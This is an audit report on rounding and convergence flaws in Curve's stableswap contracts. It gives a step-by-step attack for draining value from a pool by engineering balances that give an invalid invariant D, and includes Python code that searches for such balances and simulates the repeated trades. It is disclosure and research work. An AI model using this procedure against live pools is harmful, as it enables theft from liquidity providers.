Audit report: flaws in the Curve contracts logic

experience, Killari

February 18, 2021

1 Overview

In this document, we describe some flaw that affect all of the Curve pools contracts and might be exploitable by a profit seeking attacker under some conditions, or lead to user losses. Firstly, we note that the accepted proof of path independence for the Curve invariant provided by Angeris and Chitra is incorrect, meaning that a user cannot expect to get the exact same amount back from a back and forth trade even in the case of zero trade fees. Secondly, due to the way the Stableswap invariant is calculated, it is possible to change the composition of the pools to precise values found to break the computation. An attacker may make use of this flaw to effectively steal from the pool through repeated actions in a single transaction. Attached to this report, we provide a collection of scripts used to simulate the Curve contracts during our research, as well as the implementation of two exploits on a forked Ethereum mainnet chain: the loss of funds by a user doing repeated trades, and a small provide by adding and removing liquidity with precise values. While the latter attack profits are outweighed by the gas fees in the current state of the Ethereum network, they could be profitable were Curve to be implemented as is on a cheap layer two chain or another chain with lower fees.

2 Theory

2.1 Stableswap basics

For context, we recall the theory of the Stableswap invariant and the way it is implemented in the Curve contracts. Curve is a what has been referred to as a "constant function automated market maker", or CFMM for short. Given a pool $\vec{x}$ composed of n tokens with respective balances x_i, a user requesting to swap some amount Δx_i of tokens i for tokens j should be given an amount Δx_j such that the following equality remains true with the updated balances:

$$An^n \sum x_i + D = ADn^n + \frac{D^{n+1}}{n^n \prod x_i} \tag{1}$$

Where A is a fixed parameter called the "amplification factor". As we can see, it is implied that this equality was true to begin with. In particular, this means that the equation was set with an appropriate value of D. This is because as implied in the Stableswap paper, a D that breaks this equality would not necessarily correspond to a spot price of 1 when balances are close to each other. To do this, given an initial portfolio of tokens $\vec{x}$, we solve the equation $f(D) = 0$ where:

$$f(D) = An^n \sum x_i + D - ADn^n - \frac{D^{n+1}}{n^n \prod x_i} \tag{2}$$

This is simply Equation 1 written differently. With this equation solved, we get the invariant for the current pools. As discussed above, finding the amount to give out given an amount in is also calculated by solving the invariant equation for the unknown quantity to give out.

2.2 Path dependence

In their 2020 paper, Angeris and Chitra formalize constant function market makers like Uniswap's constant product by introducing a *trade function* φ. Under their formalism, if $\vec{x}$ is the vector representing the reserves, $\vec{\Delta}$ a vector representing the amounts in and $\vec{\Lambda}$ a vector representing the amounts out, a *trade* is a set $\{\vec{\Delta}, \vec{\Lambda}\}$ such that:

$$\varphi(\vec{x}, \vec{\Delta}, \vec{\Lambda}) = \varphi(R, 0, 0) \tag{3}$$

They then proceed to define the Curve trading function as:

$$\varphi(\vec{x}, \vec{\Delta}, \vec{\Lambda}) = \alpha \mathbf{1}^T(\vec{x} + \gamma\vec{\Delta} - \vec{\Lambda}) - \beta \prod_{i=1}^{n} \left(x_i + \gamma\vec{\Delta}_i - \vec{\Lambda}_i\right)^{-1} \tag{4}$$

And they later state that this function verifies the sufficient condition that the set of possible trades can be written as:

$$T(R) = \{(\Delta, \Lambda) \mid \psi(R + \Delta - \Lambda) \geq \psi(R)\} \tag{5}$$

The issue in this reasoning, lies in the definition of the Curve trading function. More specifically, the Stableswap invariant does not fall under this formalism, because there are no fixed α and β such that one could always write a unique Curve trading function as in Equation 3. Indeed, as discussed in Section 2.1, for each specific amount of tokens in the pool, a different D is calculated to make sure Equation 1 holds. This means that we cannot write the condition in Equation 5 above in that context, as a change of balance changes the value of D, and thus the function φ.

In the attached code, we prove this path independence by showcasing a specific sequence of trades that leads to the user losing 5% of the original amount they

traded, far more than what they would expect from the fees. We were not able to find a sequence of trades that would let the user effectively steal from the pool, but because of the lack of path independence property, this cannot be excluded unless we prove that any sequence of trades always never leads to a higher amount than the initial amount in.

Nevertheless, this can be considered a flaw in the fundamental implementation of Curve, as this is not the expected behavior.

2.3 Invalid D calculations

The Curve contract attempts to find an appropriate value of D for a given set of current balances by solving this equation iteratively using the Newton method. Starting with an initial guess D_0, the next value of D is computed using the following sequence:

$$D_{n+1} = D_n - \frac{f(D_n)}{f'(D_n)} \tag{6}$$

This is done until $\|D_{n+1} - D_n\| < \varepsilon$ with some user defined ε precision. It can be shown that the method either converges to a root of the function, that is, a value of D verifying our equation, or does not converge. The number of steps it takes to converge (if it does) is variable. Below is an example implementation of that algorithm in the Curve contracts from `StableSwapUSDT.vy` :

```
        def get_D(xp: uint256[N_COINS]) -> uint256:
            S: uint256 = 0
            for _x in xp:
                S += _x
            if S == 0:
                return 0

            Dprev: uint256 = 0
            D: uint256 = S
            Ann: uint256 = self.A * N_COINS
            for _i in range(255):
                D_P: uint256 = D
                for _x in xp:
                    D_P = D_P * D / (_x * N_COINS + 1)  # +1 is to prevent /0
                Dprev = D
                D = (Ann * S + D_P * N_COINS) * D / ((Ann - 1) * D + (N_COINS + 1) *
    D_P)
                # Equality with the precision of 1
                if D > Dprev:
                    if D - Dprev <= 1:
                        break
                else:
                    if Dprev - D <= 1:
                        break
            return D

```

As we can see, the algorithm uses 255 iterations, which normally should be enough to converge to a root of the function. But what if we converge to something other than a root of the function before the end of the loop? In $\mathbb{R}$ with a high enough precision and enough iterations that is not possible, but we see that this algorithm uses 256 bits unsigned integers and integers division. If we encounter any value D_i such that $f(D_i) < f'(D_i)$, the integers division will give 0 for $f(D_n)/f'(D_n)$, and we will have $D_{i+1} = D_i$, thus meeting the condition to terminate the loop before we arrive at an appropriate value.

One attack we found consists in finding functions f (i.e. pool balances) that cause this early termination, making it so that `get_D` returns a value of D such that $f(D) \neq 0$. By adding and removing liquidity in sequence, we can in some cases get more out than we initially put in as a liquidity provider. While the profits we found do not offset the transaction fees in the current state of the Ethereum network, this could be considered a critical flaw in the logic of the Curve contracts which could be exploited if the gas fees were to be much lower, for example by migration to a layer two solution or after the migration of the eth1 state to eth2.

3 Set up of possible attacks or bugs

In this section we describe an attack based on manipulating a pool with a limited amount of liquidity to get an invalid D with the example of the current USDT pool which at the time of writing has reserves of 228K DAI, 718K USDC, 547K USDT.

1. **Find an unbalanced perturbation of the pool leading to an invalid D**

   To do that, we replicate the `get_D` function from the Curve contracts and we "mine" balances within that range that lead to an invalid D. Starting from an approximate `attack_balance` to work with, we iteratively perturb it with the `uniform` function from the `random` package until we find a balances that give an incorrect value of D, i.e. a value of D such that $f(D) \neq 0$. Note that we look for an unbalanced pool because we found in our research that the resulting deviations between invalid and valid D are higher in that case.

2. **Add exactly enough liquidity to the pool so that we reach the balance found**

3. **Trade the exact same amounts back and forth**

   In the attacked example exploit, we're trading swapping some amount of cUSDC for cDAI, and then swapping the exact amount of cDAI obtained back to cUSDC. We start from a pool with invalid D, so it will give us some amount of cDAI for our cUSDC. When trading cUSDC back to cDAI, the new D is calculated. Since that new D will be valid with overwhelming probability,

there will be a larger than normal discrepancy between those two Ds, which allows us to get more cUSDC out of the operation than we started with.

4. **Repeat step 2 enough times to net a profit compensating for gas fees and flash loan fees**

5. **Withdraw liquidity initially added**

   Since we added liquidity to the pool in the first place, we were in part "stealing from ourselves" with the previous operations, but there is still some net profit left.

These steps can be repeated *ad infinitum* until the point at which the pools would be very unbalanced after withdrawing liquidity, making the spot price significantly deviate from the "reference" spot price of 1 and allowing for a deadly arbitrage. Below is an excerpt from the Python script that let us find differences of amount given back compared to amount initially traded as high as 1%!

```
1
2         seed(None)
3
4         while True:
5
6             #Assume 20M of each token available to be able to test many configurations
7             funds_avail_ctokens = [DollarsToCTokens(20000000, i) for i in range(N_COINS
      )]
8
9             resetBalances()
10
11            our_initial_balance = funds_avail_ctokens
12
13            #Current balance of the USDT pool in CTokens
14
15            cdai = current_ctokens[0]
16            cusdc = current_ctokens[1]
17            cusdt = current_ctokens[2]
18
19            #Enter in USD values for easily understandable adjustments
20            attack_balances_usd = [1000000,10000000,5000000]
21
22            #Convert to CTokens
23            attack_balances_c_tokens = [DollarsToCTokens(attack_balances_usd[0], 0),
      DollarsToCTokens(attack_balances_usd[1], 1), DollarsToCTokens(attack_balances_usd
      [2], 2)]
24
25            #Perturb to find an invalid D
26            attack_balances_c_tokens = [int(uniform(0.8,1)*attack_balances_c_tokens[0])
      , int(uniform(0.8,1)*attack_balances_c_tokens[1]), int(uniform(0.8,1)*
      attack_balances_c_tokens[2])]
27
28            #Convert to TokensPrecision
29            attack_balances_tokens_precision = [CTokensToTokensIncreasedPrecision(
      attack_balances_c_tokens[0], 0), CTokensToTokensIncreasedPrecision(
      attack_balances_c_tokens[1], 1), CTokensToTokensIncreasedPrecision(
      attack_balances_c_tokens[2], 2)]
```

```
30
31              #Get D for this pool composition
32              D = solver.get_D(attack_balances_tokens_precision, amp)
33
34              #Check if the D found breaks the invariant
35              u = USDTpool(attack_balances_tokens_precision, amp, D)
36
37              #If D doesn't verify the invariant relationship
38              if abs(u) > 0:
39
40                  #Find liquidity to add to get the invalid D found
41
42                  liquidityToAdd = [attack_balances_c_tokens[i] - current_ctokens[i] for
    i in range(N_COINS)]
43
44                  #Add liquidity into the original pool to get to the exact attack
    balances found
45
46                  simAddLiquidity(liquidityToAdd)
47
48                  #Perform a swap of 40% the original amount of (c)USDC for (c)DAI into
    that new pool
49
50                  #Get amount in
51                  amountToTradeCUSDC = int(cusdc*0.4)
52
53                  #Get the amount out before changing the state of the pool
54                  amountOutCDAI = solver._exchange(1, 0, current_ctokens,
    amountToTradeCUSDC, rates, fee, amp)
55
56                  #Change state of the pool
57                  simTrade(1, 0, amountToTradeCUSDC)
58
59                  #Trade the exact amount of (c)DAI obtained back to (c)USDC
60
61                  amountBackCUSDC = solver._exchange(0, 1, contract_balance,
    amountOutCDAI, rates, fee, amp)
62
63                  simTrade(0, 1, amountOutCDAI)
64
65                  if (amountBackCUSDC > 1.009*amountToTradeCUSDC or amountToTradeCUSDC >
    1.009*amountBackCUSDC):
66
67                      print("Solution found!")
68
```

The relevant functions used are fully documented in the code attached to this report.